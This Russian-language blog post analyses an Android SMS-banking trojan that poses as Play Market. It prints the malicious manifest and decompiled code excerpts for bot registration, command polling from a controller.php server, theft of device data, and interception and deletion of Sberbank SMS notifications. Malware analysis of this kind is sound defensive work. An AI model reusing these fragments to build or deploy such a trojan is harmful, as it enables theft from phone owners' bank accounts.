Введение
Опять, опять спамят «Вам пришло ММС-сообщение!». Конечно, в сообщении только короткая ссылка на foto.apk (сфоткай, типо я — jpeg). Причем без всяких красивостей в браузере, просто сразу отдается бинарник. Но ведь есть люди, и на это ведутся. Решил я посмотреть, на что там можно повестись…
Поверхностный осмотр
Как обычно, малварь написана на Java, никак не обфусцирована. Метод установки в систему стар как мир: маскировка под системное приложение (в данном случае – Play Market). Об эксплуатации каких-либо уязвимостей, кроме головного мозга пользователя устройства, речи не идет. На данный момент малварь детектируется 23 из 37 антивирусами на virustotal.
Декомпиляция и изучение кода
Просмотр одного только манифеста уже настораживает. Особое внимание рекомендую обратить на запрос привилегий.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 |
<?xml version="1.0" encoding="utf-8" standalone="no"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.android.system" platformBuildVersionCode="21" platformBuildVersionName="APKTOOL"> <uses-permission android:name="android.permission.GET_TASKS"/> <uses-permission android:name="android.permission.INTERNET"/> <uses-permission android:name="android.permission.WRITE_SMS"/> <uses-permission android:name="android.permission.READ_SMS"/> <uses-permission android:name="android.permission.SEND_SMS"/> <uses-permission android:name="android.permission.RECEIVE_SMS"/> <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/> <uses-permission android:name="android.permission.WAKE_LOCK"/> <uses-permission android:name="android.permission.READ_PHONE_STATE"/> <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/> <uses-permission android:name="android.permission.READ_CONTACTS"/> <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/> <uses-permission android:name="com.android.system.permission.C2D_MESSAGE"/> <uses-permission android:name="com.google.android.c2dm.permission.RECEIVE"/> <uses-permission android:name="android.permission.CALL_PHONE"/> <permission android:name="com.android.system.permission.C2D_MESSAGE" android:protectionLevel="signature"/> <application android:icon="@drawable/surprise" android:label="System"> <activity android:label="Ошибка" android:name="com.android.system.AppActivity" android:theme="@android:style/Theme.Light.NoTitleBar"> <intent-filter> <action android:name="android.intent.action.MAIN"/> <category android:name="android.intent.category.LAUNCHER"/> </intent-filter> </activity> <activity android:label="Play Маркет" android:name="com.android.system.ActivityUssd" android:theme="@android:style/Theme.Light.NoTitleBar"/> <activity android:label="@string/app_name" android:name="com.android.system.InstallerActivity"/> <receiver android:name="com.google.android.gcm.GCMBroadcastReceiver" android:permission="com.google.android.c2dm.permission.SEND"> <intent-filter> <action android:name="com.google.android.c2dm.intent.RECEIVE"/> <action android:name="com.google.android.c2dm.intent.REGISTRATION"/> <category android:name="com.android.system"/> </intent-filter> </receiver> <service android:name=".GCMIntentService"/> <receiver android:name="com.android.system.SReceiver"> <intent-filter android:priority="2147483647"> <action android:name="android.provider.Telephony.SMS_RECEIVED"/> </intent-filter> </receiver> <receiver android:name=".OnBootReceiver"> <intent-filter> <action android:name="android.intent.action.BOOT_COMPLETED"/> <action android:name="android.intent.action.QUICKBOOT_POWERON"/> </intent-filter> </receiver> <receiver android:name="com.android.system.ICReceiver"> <intent-filter> <action android:name="android.intent.action.PHONE_STATE"/> </intent-filter> </receiver> <service android:enabled="true" android:name="com.android.system.SurpriseService"/> <receiver android:name="com.android.system.SC"/> </application> </manifest> |
Исходя из списка привилегий, получаем классического бота под Android: отправка статистики и получение команд через Internet, перехват, отсылка смс. Само собой, автозагрузка. В последнее время набирает актуальность работа с USSD-запросами. Связано это, как мне кажется, в основном из-за поддержки таких запросов банками. То есть, получив доступ к телефону клиента, можно осуществлять переводы на счет злоумышленника. Перехват SMS в этом случае, необходим для удаления приходящих уведомлений, чтобы владелец устройства ни о чем не догадался.
Итак, запуск программы начинает в классе com.android.system.AppActivity. При запуске подгружаются ресурсы для фейкового GUI и запускается служба com.android.system.SurpriseService. Что примечательно, софт использует Google Cloud Messaging для работы. Причем, судя по выводу в Log.d(), код был скопирован из какого-то источника. Например, из официальной документации.
Второй момент, приложение имитирует собственное удаление.
Возвращаемся к запуску сервиса. Сразу после старта, сервис собирает информацию об устройстве: модель устройства, страну, номер телефона, название оператор, текущий баланс и IMEI.
1 2 3 4 5 6 7 |
a.a("Registration"); Object localObject4 = (TelephonyManager)a.getSystemService("phone"); Object localObject2 = ((TelephonyManager)localObject4).getDeviceId(); Object localObject3 = ((TelephonyManager)localObject4).getSimCountryIso(); String str1 = ((TelephonyManager)localObject4).getLine1Number(); localObject4 = ((TelephonyManager)localObject4).getSimOperatorName(); String str2 = Build.MODEL + " v." + Build.VERSION.RELEASE; |
Зачем злоумышленникам последний параметр остается только догадываться. Все это отправляется на сервер GET-запросом: http://serverdomain/controller.php?param1=value1&…paramN=valueN
после чего сервер возвращает завернутый в JSON целочисленный идентификатор бота
{ «response»: [{«bot_id»: 6216}], «status»: «ok»}.
На любой неправильный запрос с точки зрения логики админ-панели сервер возвращает { «response»: [], «status»: «ok»}.
Полученные результаты бот сохраняет в sqlite-таблицу в открытом виде, после чего запускается таймер проверки команд с помощью AlarmManager на 20 секунд.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
g = new JSONObject(new String(((StringBuilder)localObject3).toString())).getJSONArray("response").getJSONObject(0).getInt("bot_id"); localObject3 = new ContentValues(); ((ContentValues)localObject3).put("id", Integer.valueOf(g)); i = new d(a.getApplicationContext()); j = i.getWritableDatabase(); j.update("bot_set", (ContentValues)localObject3, null, null); i.close(); a.a("Зарегистрирован id:" + g); ((InputStream)localObject1).close(); ((BufferedReader)localObject2).close(); d = 0; a(a); public static void a(Context paramContext) { AlarmManager localAlarmManager = (AlarmManager)paramContext.getSystemService("alarm"); c = PendingIntent.getBroadcast(paramContext, 0, new Intent(paramContext, SC.class), 0); paramContext = c; localAlarmManager.set(0, System.currentTimeMillis() + f * 1000, paramContext); } |
Также при запуске службы устанавливаются BroadcastReceiver’ы на действия с экраном (вкл/выкл) и USSD-запросы.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 |
public void onStart(Intent paramIntent, int paramInt) { super.onStart(paramIntent, paramInt); a = this; this.k = ((PowerManager)getSystemService("power")).newWakeLock(1, "DoNotSleep"); this.k.acquire(); a.registerReceiver(this.h, new IntentFilter("server_up")); i = new d(a); j = i.getWritableDatabase(); paramIntent = j.query("bot_set", null, null, null, null, null, null, null); if (paramIntent.moveToFirst()) { g = paramIntent.getInt(paramIntent.getColumnIndex("id")); e = paramIntent.getString(paramIntent.getColumnIndex("server")); f = paramIntent.getInt(paramIntent.getColumnIndex("upd_time")); a.a("Server:" + e); a.a("Bot_id:" + g); a.a("Upd_time:" + f); if (g >= 1) { break label318; } new Thread(new j(this)).start(); } for (;;) { paramIntent.close(); i.close(); registerReceiver(new k(this), new IntentFilter("USSD_SEND_RECEIVER")); paramIntent = new IntentFilter("android.intent.action.SCREEN_ON"); paramIntent.addAction("android.intent.action.SCREEN_OFF"); registerReceiver(new l(this), paramIntent); return; label318: a(this); } |
Запрос команд происходит также с помощью GET http: http://domain/controller.php?mode=getTask&screen_on=0&bot_id=6218.
Результаты:
{ «response»: [{«del_intercept»: 1, «mode»: 0, «sms_id»: [«200605»], «sms_text»: [«БАЛАНС»], «sms_number»: [«900»], «intercept»: [«all»]}], «status»: «ok»}.
После обработки команды, бот посылает SMS-сообщение, результат перехватывается зарегистрированным BroadcastReceiver’ом com.android.system.SReceiver и отправляется на сервер. Также, перехваченные SMS-сообщения удаляются после отправки. Что не удивительно, ведь, судя по номеру отправки сообщений, софт написан для взаимодействия с мобильным банком Сбербанка. Иногда мне кажется, что разработчиками этот мобильный банк реализован вовсе не для удобства клиента, а для реализации таких вот махинаций. Весь код запроса команд и обработки выполнен в одном классе com.android.system.g. К сожалению, он не смог нормально декомпилироваться, но ведь это ничуть не мешает изучить код smali.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 |
new-instance v2, Ljava/net/URI; new-instance v3, Ljava/lang/StringBuilder; const-string v4, "http://" invoke-direct {v3, v4}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; move-result-object v0 const-string v3, "/controller.php?mode=getTask&screen_on=" invoke-virtual {v0, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; move-result-object v0 sget v3, Lcom/android/system/a/a;->i:I invoke-virtual {v0, v3}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder; move-result-object v0 const-string v3, "&bot_id=" invoke-virtual {v0, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; move-result-object v0 invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder; move-result-object v0 invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; move-result-object v0 invoke-direct {v2, v0}, Ljava/net/URI;-><init>(Ljava/lang/String;)V invoke-virtual {v2}, Ljava/net/URI;->toASCIIString()Ljava/lang/String; :try_end_1 .catch Ljava/net/URISyntaxException; {:try_start_1 .. :try_end_1} :catch_0 .catch Lorg/apache/http/client/ClientProtocolException; {:try_start_1 .. :try_end_1} :catch_1 .catch Ljava/io/IOException; {:try_start_1 .. :try_end_1} :catch_3 move-result-object v0 :goto_1 :try_start_2 new-instance v1, Lorg/apache/http/client/methods/HttpGet; invoke-direct {v1, v0}, Lorg/apache/http/client/methods/HttpGet;-><init>(Ljava/lang/String;)V invoke-interface {v12, v1}, Lorg/apache/http/client/HttpClient;->execute(Lorg/apache/http/client/methods/HttpUriRequest;)Lorg/apache/http/HttpResponse; move-result-object v0 invoke-interface {v0}, Lorg/apache/http/HttpResponse;->getEntity()Lorg/apache/http/HttpEntity; move-result-object v0 |
Помимо этого, в софте заложены следующие возможности:
- рассылка по контактам;
- отправка архива SMS-сообщений;
- выполнение USSD-запросов;
- изменение адреса админ-панели.
Итоги
Никакой сложности в реверсе не было, все открыто и доступно. Прямым текстом, как говорится. При этом авторы оставили обертку вывода Log.d() с сообщениями на русском, что вносит дополнительную ясность в декомпилированный код. Отсутствие какой-либо защиты (хотя на эмуляторе и в Anubis проанализировать на удалось, но это скорее из-за эмуляторных ограничений, а не детектирования), невнимательность при написании кода (Log.d(), тексты исключений при обработке и другие подсказки) и стилистика (строковые константы прямо в коде, скопированные из публичных источников участки кода и т.д.) намекают на то, что если и не школьники, то скорее всего малварь писали студенты, причем, скорее всего проживающие на территории обслуживания Сбербанка. Никакой оригинальности в образце нет, все сделано «в лоб». А зачастую, решение слишком прямолинейное. Например, выдача команд происходит один раз. Если послать запрос повторно, то получим сообщение от сервера: «Заданий нет!». То есть, сервер не проверяет, было ли выполнено предыдущее задание и дошло ли оно до клиента вообще. Оно и понятно, зачем изобретать оригинальные техники, если на хомячках итак работает? На текущий момент только на одном сервере зарегистрировано более 6000 клиентов.
Спасибо за внимание!
Добавить комментарий